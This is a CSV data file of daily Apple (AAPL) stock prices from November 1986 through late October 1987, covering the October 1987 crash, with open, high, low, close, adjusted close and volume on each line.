-1986-11-06,0.6540178656578064,0.6584821343421936,0.6383928656578064,0.6450892686843872,0.5111297965049744,82880000.0,AAPL
-1986-11-07,0.6428571343421936,0.6450892686843872,0.6227678656578064,0.6383928656578064,0.5058238506317139,35789600.0,AAPL
-1986-11-10,0.640625,0.640625,0.6272321343421936,0.6316964030265808,0.5005179643630981,26471200.0,AAPL
-1986-11-11,0.6339285969734192,0.6383928656578064,0.6294642686843872,0.6339285969734192,0.5022867918014526,12544000.0,AAPL
-1986-11-12,0.6383928656578064,0.6540178656578064,0.6361607313156128,0.6540178656578064,0.518204391002655,32748800.0,AAPL
-1986-11-13,0.6517857313156128,0.6517857313156128,0.6339285969734192,0.6339285969734192,0.5022867918014526,34378400.0,AAPL
-1986-11-14,0.6339285969734192,0.6339285969734192,0.6227678656578064,0.6294642686843872,0.49874943494796753,33779200.0,AAPL
-1986-11-17,0.6294642686843872,0.6607142686843872,0.625,0.6495535969734192,0.5146671533584595,35420000.0,AAPL
-1986-11-18,0.6495535969734192,0.65625,0.6272321343421936,0.6316964030265808,0.5005179643630981,42515200.0,AAPL
-1986-11-19,0.6272321343421936,0.6294642686843872,0.6160714030265808,0.625,0.49521246552467346,75600000.0,AAPL
-1986-11-20,0.6227678656578064,0.6316964030265808,0.6227678656578064,0.6294642686843872,0.49874943494796753,73920000.0,AAPL
-1986-11-21,0.6294642686843872,0.6473214030265808,0.6272321343421936,0.6428571343421936,0.509361207485199,71680000.0,AAPL
-1986-11-24,0.6473214030265808,0.6808035969734192,0.6428571343421936,0.6785714030265808,0.5376592874526978,94080000.0,AAPL
-1986-11-25,0.6785714030265808,0.7209821343421936,0.6785714030265808,0.71875,0.5694942474365234,212240000.0,AAPL
-1986-11-26,0.7165178656578064,0.7366071343421936,0.7142857313156128,0.7232142686843872,0.5730316638946533,126560000.0,AAPL
-1986-11-28,0.7232142686843872,0.7254464030265808,0.7075892686843872,0.7142857313156128,0.5659568309783936,55137600.0,AAPL
-1986-12-01,0.7142857313156128,0.7165178656578064,0.6986607313156128,0.7165178656578064,0.5677255988121033,86800000.0,AAPL
-1986-12-02,0.7232142686843872,0.7455357313156128,0.7142857313156128,0.7410714030265808,0.5871804356575012,92400000.0,AAPL
-1986-12-03,0.7433035969734192,0.7678571343421936,0.7410714030265808,0.7633928656578064,0.6048665046691895,84000000.0,AAPL
-1986-12-04,0.7611607313156128,0.7633928656578064,0.75,0.7589285969734192,0.6013292670249939,67200000.0,AAPL
-1986-12-05,0.7611607313156128,0.78125,0.7589285969734192,0.78125,0.6190153956413269,65520000.0,AAPL
-1986-12-08,0.7790178656578064,0.7834821343421936,0.7566964030265808,0.7589285969734192,0.6013292670249939,86800000.0,AAPL
-1986-12-09,0.7566964030265808,0.7611607313156128,0.734375,0.7566964030265808,0.5995606184005737,75600000.0,AAPL
-1986-12-10,0.7566964030265808,0.78125,0.75,0.7767857313156128,0.615478515625,61040000.0,AAPL
-1986-12-11,0.7790178656578064,0.7834821343421936,0.7611607313156128,0.765625,0.6066350340843201,56560000.0,AAPL
-1986-12-12,0.765625,0.7678571343421936,0.7366071343421936,0.7366071343421936,0.5836432576179504,45029600.0,AAPL
-1986-12-15,0.7321428656578064,0.7455357313156128,0.7209821343421936,0.7455357313156128,0.5907176733016968,52264800.0,AAPL
-1986-12-16,0.7433035969734192,0.7589285969734192,0.7433035969734192,0.7589285969734192,0.6013292670249939,37984800.0,AAPL
-1986-12-17,0.7566964030265808,0.7589285969734192,0.7299107313156128,0.7366071343421936,0.5836432576179504,37777600.0,AAPL
-1986-12-18,0.734375,0.7477678656578064,0.7276785969734192,0.7388392686843872,0.585411787033081,43764000.0,AAPL
-1986-12-19,0.7388392686843872,0.7589285969734192,0.7388392686843872,0.7522321343421936,0.5960232019424438,49772800.0,AAPL
-1986-12-22,0.75,0.7589285969734192,0.7455357313156128,0.7522321343421936,0.5960232019424438,41092800.0,AAPL
-1986-12-23,0.7544642686843872,0.7566964030265808,0.7477678656578064,0.7522321343421936,0.5960232019424438,61040000.0,AAPL
-1986-12-24,0.75,0.7522321343421936,0.7433035969734192,0.7477678656578064,0.5924861431121826,23940000.0,AAPL
-1986-12-26,0.7477678656578064,0.7477678656578064,0.7321428656578064,0.7321428656578064,0.580105721950531,22467200.0,AAPL
-1986-12-29,0.7321428656578064,0.734375,0.71875,0.7232142686843872,0.5730316638946533,29411200.0,AAPL
-1986-12-30,0.7232142686843872,0.7410714030265808,0.7209821343421936,0.7321428656578064,0.580105721950531,37038400.0,AAPL
-1986-12-31,0.7321428656578064,0.7388392686843872,0.7209821343421936,0.7232142686843872,0.5730316638946533,33140800.0,AAPL
-1987-01-02,0.7209821343421936,0.734375,0.7165178656578064,0.7299107313156128,0.5783371925354004,30217600.0,AAPL
-1987-01-05,0.7366071343421936,0.7723214030265808,0.7321428656578064,0.7678571343421936,0.6084038019180298,59920000.0,AAPL
-1987-01-06,0.7700892686843872,0.7857142686843872,0.7611607313156128,0.78125,0.6190153956413269,81200000.0,AAPL
-1987-01-07,0.7834821343421936,0.8013392686843872,0.7790178656578064,0.7991071343421936,0.6331643462181091,108640000.0,AAPL
-1987-01-08,0.7991071343421936,0.8058035969734192,0.7946428656578064,0.7991071343421936,0.6331643462181091,72800000.0,AAPL
-1987-01-09,0.7991071343421936,0.8169642686843872,0.7924107313156128,0.8102678656578064,0.6420073509216309,59920000.0,AAPL
-1987-01-12,0.8125,0.8169642686843872,0.7991071343421936,0.8125,0.6437762379646301,58240000.0,AAPL
-1987-01-13,0.8058035969734192,0.8102678656578064,0.796875,0.796875,0.6313956379890442,52931200.0,AAPL
-1987-01-14,0.796875,0.8616071343421936,0.7946428656578064,0.859375,0.6809169054031372,126000000.0,AAPL
-1987-01-15,0.8616071343421936,0.9174107313156128,0.8571428656578064,0.890625,0.7056776285171509,136640000.0,AAPL
-1987-01-16,0.8928571343421936,0.8928571343421936,0.8526785969734192,0.8705357313156128,0.6897600889205933,101920000.0,AAPL
-1987-01-19,0.8705357313156128,0.9486607313156128,0.8549107313156128,0.9486607313156128,0.7516617774963379,90720000.0,AAPL
-1987-01-20,0.9821428656578064,0.9955357313156128,0.9196428656578064,0.921875,0.7304384708404541,193760000.0,AAPL
-1987-01-21,0.9084821343421936,0.9129464030265808,0.875,0.875,0.6932973265647888,133280000.0,AAPL
-1987-01-22,0.8727678656578064,0.9397321343421936,0.8660714030265808,0.9375,0.7428186535835266,118160000.0,AAPL
-1987-01-23,0.9375,0.9464285969734192,0.8973214030265808,0.8973214030265808,0.7109835147857666,114800000.0,AAPL
-1987-01-26,0.8928571343421936,0.9017857313156128,0.8839285969734192,0.8883928656578064,0.7039089202880859,87920000.0,AAPL
-1987-01-27,0.8928571343421936,0.9486607313156128,0.890625,0.9419642686843872,0.7463555335998535,94640000.0,AAPL
-1987-01-28,0.9464285969734192,0.9955357313156128,0.9308035969734192,0.9888392686843872,0.7834967374801636,103600000.0,AAPL
-1987-01-29,0.9977678656578064,1.0223214626312256,0.953125,0.9665178656578064,0.7658106088638306,139440000.0,AAPL
-1987-01-30,0.9642857313156128,0.9977678656578064,0.9397321343421936,0.9910714030265808,0.7852651476860046,102480000.0,AAPL
-1987-02-02,0.9910714030265808,1.0,0.96875,0.9977678656578064,0.7905711531639099,61600000.0,AAPL
-1987-02-03,1.0,1.0022321939468384,0.9776785969734192,0.9910714030265808,0.7852651476860046,44654400.0,AAPL
-1987-02-04,0.9910714030265808,0.9910714030265808,0.9709821343421936,0.9821428656578064,0.7781909704208374,54460000.0,AAPL
-1987-02-05,0.9821428656578064,0.984375,0.9486607313156128,0.9620535969734192,0.7622730731964111,85120000.0,AAPL
-1987-02-06,0.9642857313156128,0.9642857313156128,0.9441964030265808,0.9642857313156128,0.7640418410301208,73360000.0,AAPL
-1987-02-09,0.9441964030265808,0.953125,0.9330357313156128,0.9397321343421936,0.7445871829986572,39250400.0,AAPL
-1987-02-10,0.9375,0.9419642686843872,0.921875,0.9419642686843872,0.7463555335998535,41697600.0,AAPL
-1987-02-11,0.9464285969734192,1.0133928060531616,0.9419642686843872,1.0089285373687744,0.7994141578674316,85680000.0,AAPL
-1987-02-12,1.0178571939468384,1.0691964626312256,1.0178571939468384,1.046875,0.8294805884361267,177520000.0,AAPL
-1987-02-13,1.046875,1.1160714626312256,1.0357142686843872,1.109375,0.8790016174316406,127680000.0,AAPL
-1987-02-17,1.109375,1.1875,1.1049107313156128,1.1852678060531616,0.9391347169876099,102480000.0,AAPL
-1987-02-18,1.1897321939468384,1.203125,1.1316964626312256,1.1339285373687744,0.8984565734863281,117600000.0,AAPL
-1987-02-19,1.1339285373687744,1.1339285373687744,1.1026785373687744,1.1138392686843872,0.8825389742851257,78400000.0,AAPL
-1987-02-20,1.1138392686843872,1.1160714626312256,1.0825892686843872,1.09375,0.8666213154792786,47661600.0,AAPL
-1987-02-23,1.0870535373687744,1.1473214626312256,1.0647321939468384,1.1272321939468384,0.8931507468223572,87920000.0,AAPL
-1987-02-24,1.1294642686843872,1.1785714626312256,1.1272321939468384,1.1696428060531616,0.9267544150352478,89040000.0,AAPL
-1987-02-25,1.1696428060531616,1.2410714626312256,1.1540178060531616,1.234375,0.9780444502830505,113680000.0,AAPL
-1987-02-26,1.2410714626312256,1.2745535373687744,1.2142857313156128,1.234375,0.9780444502830505,124880000.0,AAPL
-1987-02-27,1.234375,1.2678571939468384,1.2098214626312256,1.25,0.9904249310493469,101360000.0,AAPL
-1987-03-02,1.2544642686843872,1.2589285373687744,1.1964285373687744,1.2053571939468384,0.9550524353981018,99120000.0,AAPL
-1987-03-03,1.2053571939468384,1.2165178060531616,1.15625,1.1607142686843872,0.9196797609329224,109200000.0,AAPL
-1987-03-04,1.1741071939468384,1.21875,1.1674107313156128,1.2075892686843872,0.9568209052085876,112000000.0,AAPL
-1987-03-05,1.2053571939468384,1.2321428060531616,1.2008928060531616,1.2232142686843872,0.9692015647888184,84560000.0,AAPL
-1987-03-06,1.2008928060531616,1.2209821939468384,1.1919642686843872,1.2008928060531616,0.9515150189399719,44094400.0,AAPL
-1987-03-09,1.1875,1.1919642686843872,1.1517857313156128,1.1540178060531616,0.9143739938735962,63840000.0,AAPL
-1987-03-10,1.1517857313156128,1.1941964626312256,1.1517857313156128,1.1919642686843872,0.9444404244422913,61040000.0,AAPL
-1987-03-11,1.2008928060531616,1.2142857313156128,1.1830357313156128,1.1830357313156128,0.9373659491539001,54616800.0,AAPL
-1987-03-12,1.1785714626312256,1.1830357313156128,1.1361607313156128,1.1651785373687744,0.9232174158096313,75600000.0,AAPL
-1987-03-13,1.1651785373687744,1.1785714626312256,1.1339285373687744,1.1339285373687744,0.8984565734863281,49403200.0,AAPL
-1987-03-16,1.1339285373687744,1.1651785373687744,1.1160714626312256,1.1651785373687744,0.9232174158096313,61600000.0,AAPL
-1987-03-17,1.1696428060531616,1.2142857313156128,1.1607142686843872,1.1964285373687744,0.9479777216911316,61040000.0,AAPL
-1987-03-18,1.2008928060531616,1.2053571939468384,1.15625,1.1785714626312256,0.9338290691375732,75600000.0,AAPL
-1987-03-19,1.1741071939468384,1.2232142686843872,1.1696428060531616,1.2209821939468384,0.96743243932724,51682400.0,AAPL
-1987-03-20,1.21875,1.2455357313156128,1.21875,1.21875,0.9656640291213989,86800000.0,AAPL
-1987-03-23,1.2142857313156128,1.21875,1.1830357313156128,1.2053571939468384,0.9550524353981018,61600000.0,AAPL
-1987-03-24,1.2098214626312256,1.2232142686843872,1.1830357313156128,1.1830357313156128,0.9373659491539001,67200000.0,AAPL
-1987-03-25,1.1875,1.1964285373687744,1.1651785373687744,1.1919642686843872,0.9444404244422913,68320000.0,AAPL
-1987-03-26,1.1919642686843872,1.2098214626312256,1.1875,1.2008928060531616,0.9515150189399719,35756000.0,AAPL
-1987-03-27,1.2008928060531616,1.2053571939468384,1.15625,1.1607142686843872,0.9196797609329224,33476800.0,AAPL
-1987-03-30,1.1339285373687744,1.1473214626312256,1.1116071939468384,1.1160714626312256,0.8843074440956116,64960000.0,AAPL
-1987-03-31,1.1116071939468384,1.15625,1.1116071939468384,1.1517857313156128,0.9126054048538208,68320000.0,AAPL
-1987-04-01,1.125,1.1964285373687744,1.1138392686843872,1.1919642686843872,0.9444404244422913,54465600.0,AAPL
-1987-04-02,1.21875,1.28125,1.1964285373687744,1.28125,1.0151853561401367,194320000.0,AAPL
-1987-04-03,1.2767857313156128,1.2834821939468384,1.2544642686843872,1.28125,1.0151853561401367,134960000.0,AAPL
-1987-04-06,1.2767857313156128,1.2991071939468384,1.2366071939468384,1.25,0.9904249310493469,72240000.0,AAPL
-1987-04-07,1.2455357313156128,1.2544642686843872,1.2098214626312256,1.2098214626312256,0.9585894346237183,64960000.0,AAPL
-1987-04-08,1.2098214626312256,1.2544642686843872,1.2053571939468384,1.2321428060531616,0.9762753248214722,57680000.0,AAPL
-1987-04-09,1.2276785373687744,1.2767857313156128,1.2098214626312256,1.2678571939468384,1.0045735836029053,59360000.0,AAPL
-1987-04-10,1.2723214626312256,1.2767857313156128,1.2455357313156128,1.2544642686843872,0.9939618706703186,54460000.0,AAPL
-1987-04-13,1.25,1.2544642686843872,1.2053571939468384,1.2053571939468384,0.9550524353981018,35554400.0,AAPL
-1987-04-14,1.1919642686843872,1.2455357313156128,1.1875,1.2142857313156128,0.9621266722679138,101920000.0,AAPL
-1987-04-15,1.2410714626312256,1.2678571939468384,1.2276785373687744,1.2678571939468384,1.0045735836029053,87360000.0,AAPL
-1987-04-16,1.2723214626312256,1.3080357313156128,1.2678571939468384,1.2767857313156128,1.0116477012634277,86800000.0,AAPL
-1987-04-20,1.2767857313156128,1.2991071939468384,1.2633928060531616,1.2700892686843872,1.0063421726226807,37290400.0,AAPL
-1987-04-21,1.2544642686843872,1.3392857313156128,1.2410714626312256,1.3348214626312256,1.0576319694519043,108080000.0,AAPL
-1987-04-22,1.3683035373687744,1.375,1.3214285373687744,1.3258928060531616,1.0505574941635132,100800000.0,AAPL
-1987-04-23,1.3258928060531616,1.3794642686843872,1.3258928060531616,1.3571428060531616,1.0753185749053955,76160000.0,AAPL
-1987-04-24,1.3526785373687744,1.3660714626312256,1.3303571939468384,1.3348214626312256,1.0576319694519043,63840000.0,AAPL
-1987-04-27,1.3258928060531616,1.34375,1.3080357313156128,1.3392857313156128,1.0611692667007446,95760000.0,AAPL
-1987-04-28,1.3526785373687744,1.390625,1.3482142686843872,1.375,1.0894677639007568,81200000.0,AAPL
-1987-04-29,1.3794642686843872,1.4241071939468384,1.375,1.3883928060531616,1.1000785827636719,72800000.0,AAPL
-1987-04-30,1.3928571939468384,1.4285714626312256,1.3883928060531616,1.4151785373687744,1.121302604675293,63280000.0,AAPL
-1987-05-01,1.4196428060531616,1.4285714626312256,1.40625,1.4285714626312256,1.131913661956787,33180000.0,AAPL
-1987-05-04,1.4196428060531616,1.4330357313156128,1.4107142686843872,1.4241071939468384,1.1283766031265259,35526400.0,AAPL
-1987-05-05,1.4285714626312256,1.4419642686843872,1.3928571939468384,1.4330357313156128,1.1354511976242065,57680000.0,AAPL
-1987-05-06,1.4375,1.46875,1.4151785373687744,1.4285714626312256,1.131913661956787,71680000.0,AAPL
-1987-05-07,1.4241071939468384,1.4464285373687744,1.4241071939468384,1.4330357313156128,1.1354511976242065,45197600.0,AAPL
-1987-05-08,1.4375,1.4464285373687744,1.4107142686843872,1.4107142686843872,1.1177650690078735,46183200.0,AAPL
-1987-05-11,1.375,1.4196428060531616,1.3705357313156128,1.375,1.0911228656768799,49319200.0,AAPL
-1987-05-12,1.3571428060531616,1.3660714626312256,1.3392857313156128,1.3482142686843872,1.0698661804199219,64960000.0,AAPL
-1987-05-13,1.3526785373687744,1.4040178060531616,1.3482142686843872,1.4017857313156128,1.1123780012130737,77840000.0,AAPL
-1987-05-14,1.3973214626312256,1.4196428060531616,1.3973214626312256,1.4151785373687744,1.1230061054229736,37122400.0,AAPL
-1987-05-15,1.4151785373687744,1.4151785373687744,1.3928571939468384,1.3973214626312256,1.108834981918335,36489600.0,AAPL
-1987-05-18,1.3973214626312256,1.4017857313156128,1.3482142686843872,1.3526785373687744,1.073409080505371,60480000.0,AAPL
-1987-05-19,1.3526785373687744,1.3526785373687744,1.296875,1.3080357313156128,1.0379832983016968,59920000.0,AAPL
-1987-05-20,1.3035714626312256,1.3392857313156128,1.2946428060531616,1.3303571939468384,1.055696725845337,72240000.0,AAPL
-1987-05-21,1.3348214626312256,1.3526785373687744,1.3303571939468384,1.3303571939468384,1.055696725845337,43450400.0,AAPL
-1987-05-22,1.3392857313156128,1.3482142686843872,1.3169642686843872,1.3236607313156128,1.0503820180892944,24276000.0,AAPL
-1987-05-26,1.3303571939468384,1.3928571939468384,1.3214285373687744,1.3928571939468384,1.1052926778793335,38063200.0,AAPL
-1987-05-27,1.3928571939468384,1.4330357313156128,1.3839285373687744,1.4196428060531616,1.126548171043396,45175200.0,AAPL
-1987-05-28,1.4196428060531616,1.4330357313156128,1.4017857313156128,1.4285714626312256,1.1336333751678467,37805600.0,AAPL
-1987-05-29,1.4330357313156128,1.4375,1.4107142686843872,1.4107142686843872,1.1194632053375244,23150400.0,AAPL
-1987-06-01,1.4196428060531616,1.4196428060531616,1.3839285373687744,1.3883928060531616,1.1017497777938843,20826400.0,AAPL
-1987-06-02,1.3839285373687744,1.3928571939468384,1.375,1.3794642686843872,1.0946648120880127,34372800.0,AAPL
-1987-06-03,1.3794642686843872,1.4196428060531616,1.3794642686843872,1.3883928060531616,1.1017497777938843,42828800.0,AAPL
-1987-06-04,1.3928571939468384,1.40625,1.375,1.4017857313156128,1.1123780012130737,38399200.0,AAPL
-1987-06-05,1.40625,1.40625,1.3883928060531616,1.3883928060531616,1.1017497777938843,32732000.0,AAPL
-1987-06-08,1.3883928060531616,1.3928571939468384,1.3705357313156128,1.3883928060531616,1.1017497777938843,50461600.0,AAPL
-1987-06-09,1.3839285373687744,1.4196428060531616,1.3839285373687744,1.4017857313156128,1.1123780012130737,31763200.0,AAPL
-1987-06-10,1.40625,1.4330357313156128,1.3928571939468384,1.4017857313156128,1.1123780012130737,36556800.0,AAPL
-1987-06-11,1.4017857313156128,1.4285714626312256,1.3928571939468384,1.4107142686843872,1.1194632053375244,31343200.0,AAPL
-1987-06-12,1.4107142686843872,1.4241071939468384,1.40625,1.4107142686843872,1.1194632053375244,25440800.0,AAPL
-1987-06-15,1.4107142686843872,1.4196428060531616,1.3839285373687744,1.4017857313156128,1.1123780012130737,64960000.0,AAPL
-1987-06-16,1.4821428060531616,1.4910714626312256,1.3571428060531616,1.4821428060531616,1.1761449575424194,85680000.0,AAPL
-1987-06-17,1.4821428060531616,1.5178571939468384,1.4285714626312256,1.4464285373687744,1.1478044986724854,74480000.0,AAPL
-1987-06-18,1.4375,1.4910714626312256,1.4107142686843872,1.4821428060531616,1.1761449575424194,57400000.0,AAPL
-1987-06-19,1.4821428060531616,1.4910714626312256,1.4419642686843872,1.4642857313156128,1.1619740724563599,31360000.0,AAPL
-1987-06-22,1.4732142686843872,1.5089285373687744,1.4598214626312256,1.5,1.1903154850006104,42280000.0,AAPL
-1987-06-23,1.5,1.5044642686843872,1.4553571939468384,1.4732142686843872,1.1690598726272583,20213200.0,AAPL
-1987-06-24,1.4821428060531616,1.5446428060531616,1.4464285373687744,1.5,1.1903154850006104,29680000.0,AAPL
-1987-06-25,1.5,1.5178571939468384,1.4464285373687744,1.4464285373687744,1.1478044986724854,30240000.0,AAPL
-1987-06-26,1.4553571939468384,1.4821428060531616,1.4285714626312256,1.4464285373687744,1.1478044986724854,31920000.0,AAPL
-1987-06-29,1.4464285373687744,1.4553571939468384,1.4285714626312256,1.4553571939468384,1.1548892259597778,25326000.0,AAPL
-1987-06-30,1.4464285373687744,1.4642857313156128,1.4196428060531616,1.4464285373687744,1.1478044986724854,36120000.0,AAPL
-1987-07-01,1.4553571939468384,1.4553571939468384,1.4196428060531616,1.4285714626312256,1.1336333751678467,23707600.0,AAPL
-1987-07-02,1.4285714626312256,1.4642857313156128,1.4196428060531616,1.4508928060531616,1.1513460874557495,20389600.0,AAPL
-1987-07-06,1.4553571939468384,1.4910714626312256,1.4464285373687744,1.4553571939468384,1.1548892259597778,21372400.0,AAPL
-1987-07-07,1.4464285373687744,1.4642857313156128,1.3839285373687744,1.4017857313156128,1.1123780012130737,50960000.0,AAPL
-1987-07-08,1.4017857313156128,1.4017857313156128,1.3035714626312256,1.3303571939468384,1.055696725845337,85400000.0,AAPL
-1987-07-09,1.3303571939468384,1.3839285373687744,1.3303571939468384,1.3482142686843872,1.0698661804199219,59920000.0,AAPL
-1987-07-10,1.3571428060531616,1.4017857313156128,1.3482142686843872,1.3571428060531616,1.0769522190093994,39200000.0,AAPL
-1987-07-13,1.3928571939468384,1.4553571939468384,1.3839285373687744,1.4464285373687744,1.1478044986724854,63840000.0,AAPL
-1987-07-14,1.4642857313156128,1.5357142686843872,1.4642857313156128,1.5357142686843872,1.2186561822891235,64400000.0,AAPL
-1987-07-15,1.5357142686843872,1.5982142686843872,1.5089285373687744,1.5714285373687744,1.2469972372055054,67760000.0,AAPL
-1987-07-16,1.5714285373687744,1.5714285373687744,1.5446428060531616,1.5714285373687744,1.2469972372055054,23646000.0,AAPL
-1987-07-17,1.5803571939468384,1.5982142686843872,1.5267857313156128,1.5446428060531616,1.2257410287857056,23049600.0,AAPL
-1987-07-20,1.5357142686843872,1.5446428060531616,1.4821428060531616,1.4910714626312256,1.1832301616668701,31080000.0,AAPL
-1987-07-21,1.5,1.5178571939468384,1.4732142686843872,1.4776785373687744,1.1726022958755493,27748000.0,AAPL
-1987-07-22,1.4821428060531616,1.5267857313156128,1.4732142686843872,1.5178571939468384,1.2044856548309326,15232000.0,AAPL
-1987-07-23,1.5357142686843872,1.5535714626312256,1.4464285373687744,1.4910714626312256,1.1832301616668701,18684400.0,AAPL
-1987-07-24,1.4821428060531616,1.5267857313156128,1.4821428060531616,1.5178571939468384,1.2044856548309326,29400000.0,AAPL
-1987-07-27,1.5178571939468384,1.5357142686843872,1.5,1.5089285373687744,1.1974005699157715,14159600.0,AAPL
-1987-07-28,1.5178571939468384,1.5267857313156128,1.4910714626312256,1.4955357313156128,1.1867727041244507,18572400.0,AAPL
-1987-07-29,1.5,1.5,1.4464285373687744,1.4642857313156128,1.1619740724563599,24707200.0,AAPL
-1987-07-30,1.4642857313156128,1.4821428060531616,1.4553571939468384,1.4821428060531616,1.1761449575424194,26073600.0,AAPL
-1987-07-31,1.4732142686843872,1.5,1.4732142686843872,1.4732142686843872,1.1690598726272583,18261600.0,AAPL
-1987-08-03,1.4642857313156128,1.4821428060531616,1.4375,1.4375,1.1407188177108765,15839600.0,AAPL
-1987-08-04,1.4464285373687744,1.5089285373687744,1.4285714626312256,1.5089285373687744,1.1974005699157715,30240000.0,AAPL
-1987-08-05,1.5089285373687744,1.5535714626312256,1.5,1.5446428060531616,1.2257410287857056,32480000.0,AAPL
-1987-08-06,1.5446428060531616,1.6696428060531616,1.5267857313156128,1.6517857313156128,1.3107635974884033,63000000.0,AAPL
-1987-08-07,1.6517857313156128,1.6875,1.6428571939468384,1.6607142686843872,1.3178489208221436,38080000.0,AAPL
-1987-08-10,1.7232142686843872,1.7232142686843872,1.6339285373687744,1.7232142686843872,1.3692097663879395,19499200.0,AAPL
-1987-08-11,1.7678571939468384,1.7946428060531616,1.7410714626312256,1.7678571939468384,1.4046815633773804,67760000.0,AAPL
-1987-08-12,1.7678571939468384,1.7767857313156128,1.7232142686843872,1.7410714626312256,1.383398175239563,40320000.0,AAPL
-1987-08-13,1.7410714626312256,1.7946428060531616,1.7321428060531616,1.75,1.3904929161071777,49000000.0,AAPL
-1987-08-14,1.7321428060531616,1.7857142686843872,1.7142857313156128,1.75,1.3904929161071777,26213600.0,AAPL
-1987-08-17,1.7678571939468384,1.7857142686843872,1.7410714626312256,1.7678571939468384,1.4046815633773804,36400000.0,AAPL
-1987-08-18,1.7589285373687744,1.7678571939468384,1.7232142686843872,1.7410714626312256,1.383398175239563,59360000.0,AAPL
-1987-08-19,1.7678571939468384,1.7857142686843872,1.75,1.7857142686843872,1.4188700914382935,16718800.0,AAPL
-1987-08-20,1.7946428060531616,1.875,1.7767857313156128,1.8482142686843872,1.468530535697937,43960000.0,AAPL
-1987-08-21,1.8482142686843872,1.9196428060531616,1.8392857313156128,1.8928571939468384,1.504002571105957,35000000.0,AAPL
-1987-08-24,1.8928571939468384,1.9107142686843872,1.8660714626312256,1.8660714626312256,1.4827196598052979,30240000.0,AAPL
-1987-08-25,1.8839285373687744,1.9017857313156128,1.8571428060531616,1.8571428060531616,1.4756251573562622,34160000.0,AAPL
-1987-08-26,1.8928571939468384,1.9107142686843872,1.8571428060531616,1.8571428060531616,1.4756251573562622,49000000.0,AAPL
-1987-08-27,1.8660714626312256,1.8839285373687744,1.8392857313156128,1.8571428060531616,1.4756251573562622,31080000.0,AAPL
-1987-08-28,1.8571428060531616,1.875,1.8392857313156128,1.8571428060531616,1.4756251573562622,23954000.0,AAPL
-1987-08-31,1.8660714626312256,1.9375,1.8482142686843872,1.9285714626312256,1.5323797464370728,37520000.0,AAPL
-1987-09-01,1.9553571939468384,1.9732142686843872,1.875,1.875,1.4898134469985962,34720000.0,AAPL
-1987-09-02,1.8571428060531616,1.9017857313156128,1.8125,1.8571428060531616,1.4756251573562622,57400000.0,AAPL
-1987-09-03,1.875,1.8839285373687744,1.7946428060531616,1.8303571939468384,1.4543418884277344,46200000.0,AAPL
-1987-09-04,1.8303571939468384,1.8482142686843872,1.7857142686843872,1.8035714626312256,1.433058738708496,27109600.0,AAPL
-1987-09-08,1.7946428060531616,1.8035714626312256,1.7321428060531616,1.78125,1.4153228998184204,43960000.0,AAPL
-1987-09-09,1.7946428060531616,1.8928571939468384,1.7678571939468384,1.8839285373687744,1.496908187866211,39480000.0,AAPL
-1987-09-10,1.9017857313156128,1.9464285373687744,1.8973214626312256,1.9196428060531616,1.5252853631973267,35000000.0,AAPL
-1987-09-11,1.9285714626312256,1.9821428060531616,1.8839285373687744,1.9464285373687744,1.546568512916565,31080000.0,AAPL
-1987-09-14,1.9553571939468384,1.9732142686843872,1.8839285373687744,1.8928571939468384,1.504002571105957,20476400.0,AAPL
-1987-09-15,1.8928571939468384,1.8928571939468384,1.8392857313156128,1.8482142686843872,1.468530535697937,26152000.0,AAPL
-1987-09-16,1.8482142686843872,1.8794642686843872,1.8303571939468384,1.8482142686843872,1.468530535697937,42000000.0,AAPL
-1987-09-17,1.8571428060531616,1.8660714626312256,1.8214285373687744,1.8571428060531616,1.4756251573562622,16699200.0,AAPL
-1987-09-18,1.8571428060531616,1.8660714626312256,1.8348214626312256,1.8482142686843872,1.468530535697937,17799600.0,AAPL
-1987-09-21,1.8482142686843872,1.8839285373687744,1.7946428060531616,1.7946428060531616,1.4259651899337769,32200000.0,AAPL
-1987-09-22,1.8035714626312256,1.9375,1.7946428060531616,1.9330357313156128,1.5359268188476562,38360000.0,AAPL
-1987-09-23,1.9330357313156128,2.0,1.9196428060531616,1.9732142686843872,1.5678510665893555,63644000.0,AAPL
-1987-09-24,1.9732142686843872,2.0669643878936768,1.9732142686843872,2.017857074737549,1.6033236980438232,45640000.0,AAPL
-1987-09-25,2.0267856121063232,2.0714285373687744,2.017857074737549,2.0535714626312256,1.6317009925842285,26630800.0,AAPL
-1987-09-28,2.0535714626312256,2.0982143878936768,1.9821428060531616,1.9910714626312256,1.5820399522781372,50960000.0,AAPL
-1987-09-29,2.0,2.0,1.9375,1.9464285373687744,1.546568512916565,42840000.0,AAPL
-1987-09-30,1.9375,2.0357143878936768,1.9375,2.017857074737549,1.6033236980438232,30520000.0,AAPL
-1987-10-01,2.0267856121063232,2.0982143878936768,2.017857074737549,2.080357074737549,1.652984380722046,29120000.0,AAPL
-1987-10-02,2.080357074737549,2.0982143878936768,2.0535714626312256,2.0892856121063232,1.6600779294967651,24124800.0,AAPL
-1987-10-05,2.0892856121063232,2.1339285373687744,2.0625,2.1160714626312256,1.681361436843872,33600000.0,AAPL
-1987-10-06,2.125,2.125,1.9821428060531616,1.9910714626312256,1.5820399522781372,50400000.0,AAPL
-1987-10-07,1.9821428060531616,1.9910714626312256,1.9375,1.9821428060531616,1.5749456882476807,56000000.0,AAPL
-1987-10-08,1.9821428060531616,2.0,1.9017857313156128,1.9375,1.539473533630371,41160000.0,AAPL
-1987-10-09,1.9375,1.9821428060531616,1.9285714626312256,1.9330357313156128,1.5359268188476562,36400000.0,AAPL
-1987-10-12,1.9375,1.9419642686843872,1.8482142686843872,1.9017857313156128,1.5110968351364136,49840000.0,AAPL
-1987-10-13,1.9464285373687744,1.9553571939468384,1.9017857313156128,1.9464285373687744,1.546568512916565,40600000.0,AAPL
-1987-10-14,1.9196428060531616,1.9285714626312256,1.8571428060531616,1.9017857313156128,1.5110968351364136,64680000.0,AAPL
-1987-10-15,1.9017857313156128,1.9464285373687744,1.8482142686843872,1.8571428060531616,1.4756251573562622,87080000.0,AAPL
-1987-10-16,1.8660714626312256,1.8928571939468384,1.6964285373687744,1.7232142686843872,1.3692097663879395,105000000.0,AAPL
-1987-10-19,1.7232142686843872,1.7232142686843872,1.2678571939468384,1.3035714626312256,1.0357753038406372,119000000.0,AAPL
-1987-10-20,1.375,1.5,1.1651785373687744,1.2321428060531616,0.9790201783180237,142240000.0,AAPL
-1987-10-21,1.375,1.5,1.3571428060531616,1.4464285373687744,1.1492851972579956,133560000.0,AAPL
-1987-10-22,1.4017857313156128,1.4464285373687744,1.2857142686843872,1.3125,1.042870044708252,96320000.0,AAPL
-1987-10-23,1.2767857313156128,1.3035714626312256,1.2232142686843872,1.2678571939468384,1.0073981285095215,49560000.0,AAPL
